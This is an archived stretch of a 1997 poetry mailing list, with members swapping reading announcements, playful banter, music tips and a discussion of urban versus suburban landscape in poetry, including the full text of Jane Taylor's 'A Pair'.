> *George & others,*
>
> *So you don't hear about it too late this time, Kenward Elmslie's reading as part of the Rendezvous reading series in Seattle next week, January 28, at New City Theater on the corner of 11th Av & Olive Street on Capitol Hill.*
> *I don't know what time it starts, but I'll be back in time to hear it.*
> *Perhaps one of the many Seattle lurkers can post some more information on this. (I don't think we're all out of town.)*

Just called up New City. The reading begins at 8 (doors open 7:30), and will be $5. The man I talked to also mentioned that they are trying to arrange a reading in Vancouver as well but was not sure about it yet. Dats the scoop.

Tan corduroys, oversized mauve t-shirt (but a tasteful mauve), scuffed-up gen u wine combat boots (my only fully waterproof footwear), black-felt outbackish cowboy hat to keep my head dry from cumulo-nimbus.

Lastly, Lisa Gerrard's _The Mirror Pool_ to clear the head, Praxis' _Sacrifist_ to clear out the head, and Material's _Hallucination Engine_ to muddy it up again.

Salud--

Brian (who wonders if this wardrobe info craze will lead to such things as recipe swapping and gardening tips--I do recall mention of gardenia)

↑ Index

583. Don Cheney
Re: slepign
Wed 22 Jan 1997

Don Cheney writes:

i doubt the new york knicks work overtime miekal with to be announced and pasta with pesto reeking tonsilitisly lousy (lepers on saturday night live!). as tish still bases your overtime. on your rhinoplasty, i (got that one ok!) traded your butt in and out of entropy and in and in of pharmacology lexia truth isn't prats barking territorially if undiagnosed dyslexia. has ways to dot the roses with knives?

David Bromige wrote:

> *i dotn nkwo miekal wyh, tbu tpeso rea tonriousyl ousyl lepersls. as tish stil rbase uot. rplnasleroy, i (got that one ok!) ttrabiuet it ot troepy enigb a knid of phemorticala lisxedia verided ni prat rofm terilal if undognosed lixsidea. hwat do theros knith?*

Don Cheney -- [redacted] --
http://www.geocities.com/Paris/5791/main.html

↑ Index

584. KYLE CONNER/LRC-CAHS
Re: AWP Convention
Wed 22 Jan 1997

Does anyone know anything about the upcoming AWP convention in Washington D.C., like when exactly it is? I haven't yet been able to get my hands on a current AWP newsletter. I went to the convention two years ago in Pittsburgh where Gerry Stern and Jack Gilbert read. This was my introduction to Gilbert, who is someone who is greatly underread, I think. Anyway, I had a good time amid all the hoopla (even machine tool conventions could be fun, I think). Anywhere where there's a lot of people talking about poetry is bound to be stimulating in some way.

Kyle

↑ Index

585. Rachel Loden
how to proceed (was Re: The Blacks)
Wed 22 Jan 1997

Aldon L. Nielsen wrote:
>
> Not just Angelou -- the American cast of "The Blacks" (as it was billed
> here) included the majority of the black American actors who would go on
> to become known for their accomplishments on the screen in later years --
> It was, by all accounts, an astonishing production -- I have seen
> production stills --

One of those stills is on the cover of _Evergreen Review_ No. 19 (price: $1). Issue includes "How to Proceed in the Arts," by Frank O'Hara and Larry Rivers, with this advice on sexual preferences:

1. Empty yourself of everything. 2. Think of faraway things. 3. It is 12:00. Pick up the adult and throw it out of bed. Work should be done at your leisure, you know, only when there is nothing else to do. If anyone is in bed with you, they should be told to leave. You cannot work with someone there.

Rachel Loden

↑ Index

586. **robert drake**
Re: Taproot?
Wed 22 Jan 1997

> *Luigi,*
>
> *Malok is here visiting & is wondering what of the next Taproot. Whens it coming out (talk about sexual preference!)?*
>
> *mA*

ahey, mykhol & maylock!

later, allways later... i am i ass-embling 'nother TRR even now, will be again a double to make up fr lost times, had dreamed ov having it out this month (but that was 2 months ago), but well underway, hopin th layout coincides w/ a influx of money but sometime Real Soon Now... seriously, w.in thee month. greetings to both ov yall, and well wiches...

lbd

↑ Index

587. **David Bromige**
toilet pastures
Wed 22 Jan 1997

---

ah. . .the witching hour approaches. . . and the west coasters bring their insomnia to the list, while the east sleeps swaddled in a bright mantle of snow. . . george, are you sure that wasnt you i was communicating sexual preferences with? . . . then who the hell was it? . . i think "it happened in peekskill" rachel knows where you left yr "shropshire lad" necktie. . .ah, "and down in love ly muck i lay.". . .its as good as "Ab.Fab." : straight Id. . . These hidden places where we congregate in our pjs: hernando's hideaway, the love shack, and remember green door, whats that secret yr keeping? (by the time i got to telegraph ave,that door had been painted black.. . and then we were shown what someone thot was behind the green door and the mystery vanished). . .like the Georgia, george, in our novel . . .like the Hotel Sylvia in "Who is Sylvia?". . . like the list at the witching hour . . as the rain sluices the imperium into the ocean. . .leaving only our corny taste in music to paste upon distance

↑ Index

588. Stephen Cope
Evora, Cape Verde, Music
Wed 22 Jan 1997

Great to see Cesaria Evora's name come up in this context -- I'd suggest looking into Amandio Cabral also: he'd be hard to escpae in a serious discussion of Cape Verdean music. Evora's interpreted a number of his compositions, many of which are of a poetic value equal their musical achievement. His lp's are hard to come by these days, but a collection has been released on disc by Lusafrica (a Parisian label that releases mostly music from Cape Verde, Angola, Senegal, and the environs of Lusophone (sp?) Africa), distributed by Stern's in New York. Also recommended: Saozinha's interpretations of Eugenio Tavares' poems, on a Brockton, Mass. label operated by (and named after) the Mendez Brothers (Ramiro Mendez has written a number of Evora's pieces and performs on some of her earlier recordings). Tavares began writing in the late nineteenth century in Cape Verde, where he also published a journal called "Cartas Caboverdeanas," that included various politcal (in addition to poetic) writings. He's considered a major figure in Cape Verdean letters, devoted unequivocally, as the liner notes put it, "to the cult of the Portugese language."

Speaking of such things: Jayne Cortez' recent recording with the Firespitters is out - the poetry is, of course, worth it alone, but there's an extraordinary cut featuring a Mandingo vocalist and some Mandingo musicains that's been a soundtack for much of my thought lately...

Best to all,

Stephen Cope

↑ Index

589. Bradford J Senning
Re: Shape/shape/Frost/N England
Wed 22 Jan 1997

On Wed, 22 Jan 1997, David Bromige wrote:

> Frost started out in california, as i recall the norton saying before I
> dropped it from an 18th storey window into a deep sewage pond. But his poem
> "Stopping by Woods" was written to be sung to a melody later used for the
> song "Hernando's Hideaway" from the Broadway show "Lost in DB's Memory
> Bank." The Latin beat of this tune reveal Frost's true colors. Hope this
> clarifies. db.
>
That "Broadway show" was/is _The Pajama Game_ ... fyi

↑ Index

590. **Mark Weiss**
Re: greener Pastures
Thu 23 Jan 1997

-wog, -ana, -bius (back to the pastoral)

At 05:46 PM 1/22/97 +0100, you wrote:
>DS wrote:
>>
>> >
>> >miekal who will venture to say his sexual preference is straight & poly
>>
>> as in poly - ester, - thene, - vocal, - andry, - chromatic, - dactic, -
>> nesian, - tonal, - pod????
>>
>> dan???
>
>& to that I would add - amorous & -morphous
>
>& recipes: we have a great recipe at dreamtime for homepathic text
>poisoning!
>
>

↑ Index

591. **George Bowering**
Re: Shape/shape/Frost/N England
Thu 23 Jan 1997

> *Frost started out in california, as i recall the norton saying before I dropped it from an 18th storey window into a deep sewage pond. But his poem "Stopping by Woods" was written to be sung to a melody later used for the song "Hernando's Hideaway" from the Broadway show "Lost in DB's Memory Bank." The Latin beat of this tune reveal Frost's true colors. Hope this clarifies. db.*

Yep, there was a rush of poets who were writing lyrics for that song. Another was A.E. Housman's poem (what was the title?) that includes

Oh I have Been to Ludlow Fair
and left my necktie who knows where

etc

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

592. **George Bowering**
Re: Toilet Pastures
Thu 23 Jan 1997

I would like to have it go on record that I have not communicated with David Bromige about sexual preferences at any time.

Neither have we discussed Michael Hamburger or X.J. Kennedy.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

593. **Tom Beard**
Re: shapeofthepoem til may 68
Thu 23 Jan 1997

> *, but I do think there's something happening in my responses that could be said to derive from the early experience of a particular landspace...*
>
> *I favor the direction the lettrists & situationists went with translating topography to text with all their many notions of psychogeography & the drift. & in particular (being a visualpoet & all) how much of the creative work became maps of typography.*

This reminds me of an early poem by Michele Leggott ('Easter Island' I think), with the topography of the Pacific being translated into the typography of long, expansive lines. I seem to remember that editors had great problems with it, either trying to squish it down to 8 points or setting it sideways in their journals

and anthologies. Her first collection solved the problem by being set in a square format - a pattern that she has followed in subsequent books. The other NZers on the list would know Michele better than I, so correct me if I've got it wrong.

I'm spending more time now thinking about landscape and its effects upon one's thought processes - including poetry - since I'll soon be moving back to Wellington after 2 1/2 years in Auckland. Just driving along the motorways I start to notice the unique features of the place - why has it never seemed strange to me that I drive through a mangrove swamp to get to work?

Much of my writing when I lived in Wellington was affected by the landscape and (particularly) weather, though rarely consciously so. It's a place that forces one to notice the environment, even for someone like me who thinks that 'the great outdoors' means 'al fresco'. And working as a meteorologist has given me a certain mode of attention - weather imagery is common enough in poetry, I suppose, but in retrospect I was surprised to see just how much I used.

My childhood landscape, the 'Constable Country' of semi-rural Essex, is also constantly present within me. The woods, pitiful remnants that they are, seemed like ancient mystery to a 6-year-old, and were given an extra edge by parental warnings to avoid the WWII bomb craters that dotted the forest floor. Perhaps this is one of the reasons that I am so attracted to Geoffrey Hill's poetry - 'Mercian Hymns' certainly resonated with that early sense of place.

> *miekal*
>
> *who wonders now that we know what everyone is wearing & what they are reading & listening to, all that's left is sexual preference & favorite foods.*

Well, favourite foods include honeyed olives, Parmiggiano Reggiano, manuka-smoked salmon with sour cream, rare vensison with blueberry sauce, and strawberries injected with Cointreau; served with aged Riesling, Pinot Grigio, Kumeu River Chardonnay, a rich Merlot, and Veuve Clicquot demi-sec, respectively. But more often than not I settle for a quarter pounder combo with sprite.

My sexual preference is for (female) Bulgarian poets, which understandably narrows the range a bit.

Tom Beard,

(currently wearing an ill-judged and eponymous goatee, which I had hoped would make me look like Ethan Hawke, but am afraid might make me look more like Bud Bundy)

↑ Index

594. Marina deBellagente laPalma
tamtam
Thu 23 Jan 1997

Re wonderful euro-inflected "language" poetry of the 70s ... Adriano Spatola died some years ago; Giulia Niccolai is alive and well and writing -- I saw her a couple of times this summer in Milano. She is, among other things, a practicing buddhist, working sometimes at a place called, I believe, Center for Tibetan Studies in Milan.

Marina deBellagente LaPalma
329 Pope Street
Menlo Park CA 94025
[redacted]

↑ Index

595. William Northcutt
Dorn
Thu 23 Jan 1997

A while back, I remember there being some talk on this list about a new part to Dorn's Slinger. Anyone know anything about this, or was it just a narrrsty rumour?

William Northcutt

[redacted]

William Northcutt
Anglistik
Universitaet Bayreuth
95440 Bayreuth, Germany

↑ Index

596. Miekal And
ear inn
Thu 23 Jan 1997

Who sets up the reading series at Ear Inn & how do I contact them?

miekal

who is hoping to travel a bit for the first time in 3 years
--
@#

Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

↑ Index

597. Ken Edwards
crime & punishment
Thu 23 Jan 1997

"B asks what the crime is... Next, we must ask what the sentence is.

Duane Davis"

The sentence is a piece of writing that starts with a capital letter and ends with a full stop (or not)

and Stephen Vincent said " Dyer is English - and tho the language is driven, compelling, there's a suspicion of the English exclusive obsession with the exotic detail/circumstances of the lives and the art."

That writer's name is Geoff, not George Dyer. Some of us Brits _are_ capable of listening to the musics without romanticising the lives, you know. However, we're usually too reticent to tell folks what we're wearing.

Ken Edwards

↑ Index

598. Miekal And
Re: CUPichuLAYshun
Thu 23 Jan 1997

Ron Silliman wrote:

> *who wonders why Miekal thinks poets can spell*

the new sentence breeds
breeds other words thot there already
already spelled one way once
once anaphora persists
persists the anagram
anagram the
the new sentence breeds

↑ Index

599. Robert Archambeau
Re: Landscapes, poetry etc.
Thu 23 Jan 1997

> *I feel that my work is more responsive to the urban surround. That certainly has something to do with having lived for half a year in Sau Paulo, 9 years in Boston, six months in Denver--all of them in rather gritty parts of town. But more I think with the fact that social & cultural experience, for me, seem more embedded in post-industrial urban rust. The jagged apartness, that I feel in our culture, which gets involved a lot with the formal choices I make, seems much like the feel of edgy city jumpiness those places can have.*

What fascinates me is the way that the kind of urban experience Mark finds essential to his poetry has only been considered "poetic" experience since, say, Whitman. I recall Robert Pinsky giving a talk in which he said that it took Baudelaire to make the city a subject with which poets were comfortable -- now many poets seem to turn to "post-industrial urban rust" as readily as poets turned to (and sentimentalized) rough rural scenes in the wake of Wordsworth. What I wonder is this: who has make our suburbs, in all their atomization and occasional tackiness, into the dominant landscapes of poetic imaginations? How have suburban experiences of space shaped poetic perception? (I'm jumping into this thread mid-stream, so if this has been covered, just backchannel me the posts). As one who just months ago was uprooted from his beloved Chicago to land (against all my expectations) in the suburbs, I really do want to know.

Robert Archambeau

↑ Index

600. Brigham Taylor
Hernando Houseman
Thu 23 Jan 1997

The poem that includes the lines

> Oh I have been to Ludlow Fair
> And left my necktie God knows where

is "Terence, This is Stupid Stuff" from _A Shropshire Lad_

Brigham Taylor

↑ Index

601. **Robert Archambeau**
Re: Landscapes, poetry etc.
Thu 23 Jan 1997

Two Very Academic Theses of My Own Devising

to be nailed to the doors of the nearest cathedral or writing program:

Thesis One:

To sentimentalize the city and to denigrate suburbia and aesthetics conditioned by suburban experience is, in a time of migration to the suburbs, inherently a conservative position. It is analagous to the sentimentalizing or aestheticizing of rural landscapes in Romantic poetry, with its accompanying denigration (as spititually bankrupt) of the cities to which so many people were migrating. In short, the aestheticizing of the city represents a failure to encompass new landscapes and new experiences.

Thesis Two:

To aestheticize or sentimentalize suburban experience and to denegrate by implication the potential to make art out of urban experience is to make an art complicit with the dominant economic forces that have created those suburbs. To make an art that insists on, or relies on, the diversity and richness of urban experience is to resist, in the realm of representation, these forces.

Assignment:

Believe both of the above. Or write a 1000 word essay pointing out the internal contradictions and blindspots of either thesis.

An accompanying set of study questions, and an annotated instructor's edition, are available for $49.95.

↑ Index

602. **Tom Beard**
Re: Landscapes, poetry etc.
Thu 23 Jan 1997

Mark Prejsnar wrote:

> *.. I'm fascinated that rural & suburban*
> *physical landscapes have been mentioned, more than urban contexts.*

..[snip]..

> *social & cultural experience, for me, seem more embedded in*
> *post-industrial urban rust. The jagged apartness, that I feel in our*
> *culture, which gets involved a lot with the formal choices I make, seems*
> *much like the feel of edgy city jumpiness those places can have.*

That 'edgy city jumpiness' has had an effect upon me, too, in that I fiddled around for a while with a sequence I called 'Urban Songs'. NZ has very little urban culture, being enamored (especially in Auckland) of the suburban 'quarter-acre paradise', and even those of us who love the city tend to go home our city-fringe villas (Grey Lynn &c) at night, leaving the downtown streets to the street-sweeping trucks and a handful of investors in apartments. Any rust is swept away into industrial 'parks' - there's very little real 'grittiness' to our central cities (K road being about the only exception).

There is an urban feeling, but it seems to me only secondarily a physical landscape, and primarily a mental, electronic and semiotic one. We move into physical proximity, informational convenience and emotional distance with our fellow city-dwellers, and it's that combination of jumbled coexistence, rhizomatic linkage and 'jagged apartness' that seems to me an interesting (and even necessary?) source of formal choices for writing.

There's a strong movement in Wellington (mostly from Lower Hutt) to rehabilitate the suburbs as a site for poetry. They're reacting to Baxter's anti-suburban stance, and are trying to show that the suburbs aren't entirely dull and soulless - unfortunately, much of their poetry is exactly that.

I did make a conscious effort to avoid both Baxter's and the suburban poets' projects. Leigh Davis is about the only local poet I can think of who has written not so much 'about' as from the post-industrial city in an even-handed and open manner (unlike David Eggleton's wearying rants). I am ambivalent about the city (generic) - more so than when I started writing the sequence - but I have to acknowledge that feelings of exhileration and soaring ambition go along with alienation and dislocation. The city is: a basement shop selling tapa cloths and web browsing; a rave in an art gallery; a motorway through mangroves; taking up coffee because hot chocolate isn't hip enough; exchanging URLs with strangers; and passionate discussions about which is the best carpark in town. Sometimes it hurts like hell, but I'd never live further than walking distance from the centre.

Tom Beard,
Auckland/Wellington.

---

from Urban Songs

a breath
sharpens, nails draw
a taut & dreamy
logo—

feed me
on image, _talk

to my machine_, you
could be client,
avatar
or agent,

I am motion,
motion’s shadow

takes me, sight
unseen

——

raining through light, a face
behind its smoke

(a process
glitters)

days when you can taste it—
the glory of concrete, a serif’s
wink, signs that flicker
underfoot

nearly there, almost here

↑ Index

603. **Robert Archambeau**
Re: Landscapes, poetry etc.
Thu 23 Jan 1997

> *"urban experience" has been a part of poetry back way farther than whitman! think of swift's "london," for example, or jane taylor's "A Pair" compairing a spoiled british lordling with a painfully poor mechanic in the city (~1801) or mary robinson's "City Scene" (both swift and robinson's poems, by the way, were quick pastiches of images, and, i believe, both were unrhymed). the restoration poets, at least r.h. lovelace and the earl of rochester, both had bleak london/city poems. and chaucer had some fine descriptions of london of his day in _Canterbury Tales_.*
>
> *most of these poems had a jagged, bleak feel, especially the robinson and the swift.*

Sorry. Should have said it was Whitman (and others in the mid 19C) who made a _celbratory_ poetry about urban experience. Which seems to be something you agree with. One could find exceptions.

R.A.

↑ Index

604. Ron Silliman
Snowy Woods
Thu 23 Jan 1997

Bob Frost was born on the 100 block of Eddy Street, San Francisco, back when the neighborhood right around there was still called St. Anne's Valley (named for a small lake that no longer exists right at the location of the Powell Street Bart Station only around 100 yards away)--really that whole area of Market Street between 5th & 7th streets used to be close to a swamp as late as the 1890s. Alice B. Toklas was born on the 900 block of O'Farrell (uphill side of the street--I think there's a multilayer parking garage there now), Isadora Duncan was born at 510 Taylor -- the only building of the three that still exists (and the only one also that is memorialized with a placque). The Hotel Wentley at the other end of the neighborhood (and from another era) is now the Polk-Sutter Apartments.

Here's one for Kevin & Dodie and you other San Francisco buffs, what president was Golden Gate Avenue named for?

All best,

Ron Silliman

who wonders why Miekal thinks poets can spell

↑ Index

605. GRAHAM W. FOUST
no address
Thu 23 Jan 1997

---

sorry to post this to the whole list. can someone e-mail me the new address for no roses review?

danke,
Graham

↑ Index

606. **Pierre Joris**
Re: Marty Ehrlich
Thu 23 Jan 1997

Tom Mandel wrote:
>
> Pierre Joris writes
>
> "& I'll under-underline the pleasure of listening to Zorn (Masada Live
> playing right now as I type). My latest amour fou is for Marty Ehrlich
> and the Dark Wood Ensemble's "Emergency Peace" (a New Ear's present from
> Don Byrd) -- gorgeous, haunting."
>
> Is this the Marty who is married to Erica Hunt? Also, can you give label,
> etc. info for the CD -- thanks.
>
> Thanks too for...
>
> "BTW -- Tom gave a great reading at the Ear Inn last Saturday -- a tour
> de force of a poem! Thanks, Tom -- Pierre"
>
> ... it is always a fun adventure to read at the Ear Inn.
>
> Tom
>
> Screen Porch
> **********
> Tom Mandel * 2927 Tilden St. NW
> Washington DC 20008 * [redacted]
> vox: [redacted] * fax [redacted]
> **********

Don't know if the gent is married to Erica Hunt. He quotes Lorca on duende in his liner notes, so does have a sense of poetry... "Emergency peace" is on New Worlds/Countercurrents (#80409-2); the personnel : Marty Ehrlich clarinet, bass clarinet, flute, wooden flutes, alto sax; Abdul Wadud cello; Lindsay horner bass; Muhal Richard Abrams piano on some of the cuts. -- Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]

http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertation. -- Maurice Blanchot
==========

↑ Index

607. Tom Mandel
Marty Ehrlich
Thu 23 Jan 1997

Pierre Joris writes

"& I'll under-underline the pleasure of listening to Zorn (Masada Live playing right now as I type). My latest amour fou is for Marty Ehrlich and the Dark Wood Ensemble's "Emergency Peace" (a New Ear's present from Don Byrd) -- gorgeous, haunting."

Is this the Marty who is married to Erica Hunt? Also, can you give label, etc. info for the CD -- thanks.

Thanks too for...

"BTW -- Tom gave a great reading at the Ear Inn last Saturday -- a tour de force of a poem! Thanks, Tom -- Pierre"

... it is always a fun adventure to read at the Ear Inn.

Tom

Screen Porch
****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

608. Mark Prejsnar
Landscapes, poetry etc.
Thu 23 Jan 1997

The ongoing discussion about landscape & shape of the poetry etc. (Frost, Brathwaite etc. etc.) is the most interesting (to me) in the couple of weeks I've been around the list.. I'm fascinated that rural & suburban physical landscapes have been mentioned, more than urban contexts. I grew up in about as pretty a rural landscape as I know in the U.S. (Stockbridge MA, "the Berkshires")--but I feel that my work is more responsive to the urban surround. That certainly has something to do with having lived for half a year in Sau Paulo, 9 years in Boston, six months in Denver--all of them in rather gritty parts of town. But more I think with the fact that social & cultural experience, for me, seem more embedded in post-industrial urban rust. The jagged apartness, that I feel in our culture, which gets involved a lot with the formal choices I make, seems much like the feel of edgy city jumpiness those places can have. Word-music derives from social feel. That's always seemed to me true also of the US poets I like.

Mark Prejsnar
Atlanta

↑ Index

609. Joel Felix
LVNG Supplemental "Book"
Thu 23 Jan 1997

A Run Thru the Dictionary an artist's book of a poem by
myself is being offered by LVNG Magazine, Chicago, as Supplemental
Series #2.

The "book," designed by Catherine Wilson Felix,
is printed on clear acetates, bound on rings and comes
with a collage and containing box.

The "poem" is a slight of hand smoke and mirrors
ontological trick--a la Spicer, who pokes
his head in to remind that ontological tricks never
saved anyone. Ha Ha.

$15 (all goes to keeping LVNG inflated)

Make the cheque payable to Peter O'Leary and send to the
PO Box 3865
Chicago, Il 60654-0865

ps If anyone on this list would like a copy of LVNG just drop me note--it's free.

Joel Felix

↑ Index

610. **Charles Bernstein**
Re: Marty Ehrlich
Thu 23 Jan 1997

Marty Ehrlich is most definitely married to Erica Hunt, and they together have two children: Madeline and Julius. Pierre and Tom -- you were both in the same room with Marty and Erica on Saturday, at Susan Bee's opening at Granary Books!

↑ Index

611. **amato**
Re: AWP Convention
Thu 23 Jan 1997

---

kyle, the awp conference this year is april 3-5 in washington d.c...

joe

↑ Index

612. **Brian Carpenter**
Re: Toilet Pastures
Thu 23 Jan 1997

> *W.C. Fields Confounds Egypt's Censors*
>
> *By Peter Warg*
>
> *CAIRO (Variety) - Brush up your English or find a new job, Egyptian film censors and translators are being told...*

This reminds me of an advertising shennanigan that occurred in China a number of years ago. Some American company selling some carbonated beverage (I don't recall whom) advertised their product on billboards with the slogan "Brings you back to life!"

Punchline is, this slogan was translated as "Brings your relatives back from the dead!"

- Brianas Anecdotus

↑ Index

613. **william marsh**
Mason Williams
Thu 23 Jan 1997

---

i know there was much chatter about Miller Williams this past week,

but was there also talk recently of Mason Williams? can someone please refresh my memory, or clue me in.

picked up his "FLAVORS" in a used book store the other day, and was amazed.

thanks

bill marsh

↑ Index

614. **Eliza McGrand- CVA Guest**
Re: Landscapes, poetry etc.
Thu 23 Jan 1997

"urban experience" has been a part of poetry back way farther than whitman! think of swift's "london," for example, or jane taylor's "A Pair" compairing a spoiled british lordling with a painfully poor mechanic in the city (~1801) or mary robinson's "City Scene" (both swift and robinson's poems, by the way, were quick pastiches of images, and, i believe, both were unrhymed). the restoration poets, at least r.h. lovelace and the earl of rochester, both had bleak london/city poems. and chaucer had some fine descriptions of london of his day in _Canterbury Tales_.

most of these poems had a jagged, bleak feel, especially the robinson and the swift.

and defoe's _Journal of the Plague Year_ in prose, as well as mary shelley's _The Last Man_, include apocolyptic (sp?) descriptions of cities -- living, despoiled, dying in the exudations of their own waste...

good heavens, why this singular fixation on Whitman? now that i think on it, carl sandburg went on at great length about Chicago (though i'm not sure if he did so before whitman) and certainly edward arlington robinson's tillbury town, and master's spoon river anthology series get in their swipes at ragged dry industrial landscapes...

i am wearing not black, which is unusual, but a sort of slatey blue pair of leggings, shiny black boots, slatey blue socks, and a french hand-knit turtleneck sweater in patchworked shades of dusty green and blue (a gift). normally i would be upholding the tradition in black. e

↑ Index

615. **henry gould**
Re: Landscapes, poetry etc.
Thu 23 Jan 1997

On Thu, 23 Jan 1997 13:35:21 -0500 Eliza McGrand- CVA Guest said:
>
>i am wearing not black, which is unusual, but a sort of slatey blue pair
>of leggings, shiny black boots, slatey blue socks, and a french hand-knit
>turtleneck sweater in patchworked shades of dusty green and blue (a gift).
>normally i would be upholding the tradition in black.

Maybe not Paris today, but with all that slate you'll do for a small French town, I'm sure. Get out there & renew the urbs! Henry Gould wearing black jeans, brown shoes with a small hole in right sole, a purple sweatshirt, a hawaiian luau type shirt, 2 socks (I think) and a timex watch which is [(*&^(*%&$^$$ %^#] always stopping. also carrying a business card for Igor Bubnov, former 2nd Secretary of Soviet Embassy in Washington, DC. Might come in handy if I'm ever asked to give a reading overseas. - hg (alias "Bubba")

↑ Index

616. **Eliza McGrand- CVA Guest**
urban and landscapes -- found one! (taylor poem)
Thu 23 Jan 1997

---

isn't this a beauty....

A Pair by JANE TAYLOR (1806)

II.

Down a close street, whose darksome shops display
Old clothes and iron on both sides the way;
Loathsome and wretched, whence the eye in pain,
Averted turns, nor seeks to view again;
Where lowest dregs of human nature dwell,
More loathsome than the rags and rust they sell; --
A pale mechanic rents an attic floor,
By many a shatter'd stair you gain the door:
'Tis one poor room, whose blacken'd walls are hung
With dust that settled there when he was young.
The rusty grate two massy bricks displays,
To fill the sides and make a frugal blaze.
The door hanging, the window patch'd and broke,
The panes obscur'd by half a century's smoke:
There stands the bench at which his life si spent,

Worn, groov'd, and bor'd, and worm-devour'd, and bent,
Where daily, undisturb'd by foes or friends,
In one unvaried attitude he bends.
His tools, long practis'd, seem to understand
Scarce less their functions, than his own right hand.
With these he drives his craft with patient skill;
Year after year would find him at it still:
The noisy world around is changing all,
War follows peace, and kingdoms rise and fall;
France rages now, and Spain, and now the Turk;
Now victory sounds; -- but there he sits at work!
A man might see him so, then bid adieu, --
Make a long voyage to China or Peru;
There traffic, settle, build; at length might come,
Alter'd, and old, and weather-beaten home,
And find him on the same square foot of floor
On which he left him twenty years before.
--The self same bench, and attitude, and stool,
The same quick movement of his cunning tool;
The very distance 'twixt his knees and chin,
As though he had but stepp'd just out and in.

Such is his fate -- and yet you might descry
A latent spark of meaning in his eye.
--That crowded shelf, beside his bench, contains
One old, worn, volume that employs his brains:
With algebraic lore its page is spread,
Where _a_ and _b_ contend with _x_ and _z_:
Sold by some _student_ from a Oxford hall,
--Bought by the pound upon a broker's stall.
On this it is his sole delight to pore,
Early and late, when working time is o'er:
But oft he stops, bewilder'd and perplex'd,
At some hard problem in the learned text;
Pressing his hand upon his puzzled brain,
At what the dullest school-boy could explain.

From needful sleep the precious hour he saves,
To give his thirsty mind the stream it craves:
There, with his slender rush beside him plac'd,
He drinks the knowledge in with greedy haste.
At early morning, when the frosty air
Brightens Orion and the northern Bear,

His distant window mid the dusky row,
Holds a dim light to passenger below.
--A light more dim is flashing on his mind,
That shows its darkness, and its views confin'd.
Had science shone around his early days,
How had his sould expanded in the blaze!
But penury bound him, and his mind in vain
Struggles and writhes beneath her iron chain.

--At length the taper fades, and distant cry
Of early sweep bespeaks the morning nigh;
Slowly it breaks, -- and that rejoicing ray
That wakes the healthful country into day,s
Tips the green hills, slants o'er the level plain,
Reddens the pool, and stream, and cottage pane,
And field, and garden, park, and stately hall,--
Now darts obliquely on his wretched wall.
He knows the wonted signal; shuts his book,
Slowly consigns it to its dusty nook;
Looks out awhile, with fixt and absent stare,
On crowded roofs, seen through the foggy air;
Stirs up the embers, takes his sickly draught,
Sighs at his fortunes, and resumes his craft.

↑ Index

617. **Mark Weiss**
Re: Landscapes, poetry etc.
Thu 23 Jan 1997

Samuel Johnson, Blake, Dryden, Pope, Marvell in the satires. Not all of Rochester's city poems are bleak, but those that aren't are pornographic; Dryden is more celebratory than bleak except when he's writing political satire. Swift wrote city poems in rhyme, as well. Aren't there latin city poems?

On the evolution of attitudes towards, Raymond Williams, _The Country and the City_, although his focus is on the novel. One of my favorite books.

At 01:35 PM 1/23/97 -0500, you wrote:
>"urban experience" has been a part of poetry back way farther than
>whitman! think of swift's "london," for example, or jane taylor's
>"A Pair" compairing a spoiled british lordling with a painfully poor
>mechanic in the city (~1801) or mary robinson's "City Scene" (both
>swift and robinson's poems, by the way, were quick pastiches of images,
>and, i believe, both were unrhymed). the restoration poets, at least

>r.h. lovelace and the earl of rochester, both had bleak london/city
>poems. and chaucer had some fine descriptions of london of his day
>in _Canterbury Tales_.
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>and the swift.
>
>and defoe's _Journal of the Plague Year_ in prose, as well as mary
>shelley's _The Last Man_, include apocolyptic (sp?) descriptions of
>cities -- living, despoiled, dying in the exudations of their own
>waste...
>
>good heavens, why this singular fixation on Whitman? now that i think
>on it, carl sandburg went on at great length about Chicago (though i'm
>not sure if he did so before whitman) and certainly edward arlington
>robinson's tillbury town, and master's spoon river anthology series get
>in their swipes at ragged dry industrial landscapes...
>
>i am wearing not black, which is unusual, but a sort of slatey blue pair
>of leggings, shiny black boots, slatey blue socks, and a french hand-knit
>turtleneck sweater in patchworked shades of dusty green and blue (a gift).
>normally i would be upholding the tradition in black.
>e
>
>

↑ Index

618. **daniel_bouchard**
Re: Landscapes, poetry etc.
Thu 23 Jan 1997

Professor Rochambeau,

The Board of Deans, et al, suggests you take an immediate sabbatical in the rural environment of Screamtime Village and ease the traffic flow (suburban, etc.) making inroads on your imagination.

_____

Assignment:

Believe both of the above. Or write a 1000 word essay pointing out the internal contradictions and blindspots of either thesis.

An accompanying set of study questions, and an annotated instructor's edition, are available for $49.95.

↑ Index

619. **Mark Weiss**
(no subject)
Thu 23 Jan 1997

I think middle-class suburbia has lots of poets, but probably few of us on the list read them. They fill the establishment journals.

There is another kind of suburbia, and it's everywhere. There's Berkeley, but there's also Richmond (is Oakland still a suburb), and there's Scarsdale, but there's also Perth Amboy. I may be the only poet who's written about Perth Amboy.

↑ Index

620. **maria damon**
Re: urban and landscapes
Thu 23 Jan 1997

---

benjamin on paris arcades and baudelaire is the best! good to teach in conjunction with o'hara.

↑ Index

621. **Mark Prejsnar**
Apples, oranges & form
Thu 23 Jan 1997

All the postings since mine, about city & suburbia, were really interesting & sharp. But they mostly seem to be talking about descriptive content...subject matter. There's a mention of "sentimentalizing the city and denigrating suburbia"...which sort of sounds like it must refer to my posting. What my posting tried to address 1. is mostly not a careful "choice" of "subject matter;" but about how poets (including myself) come to be influenced by their socio-experiencial context; 2. is a matter of FORM not primarily subject matter....

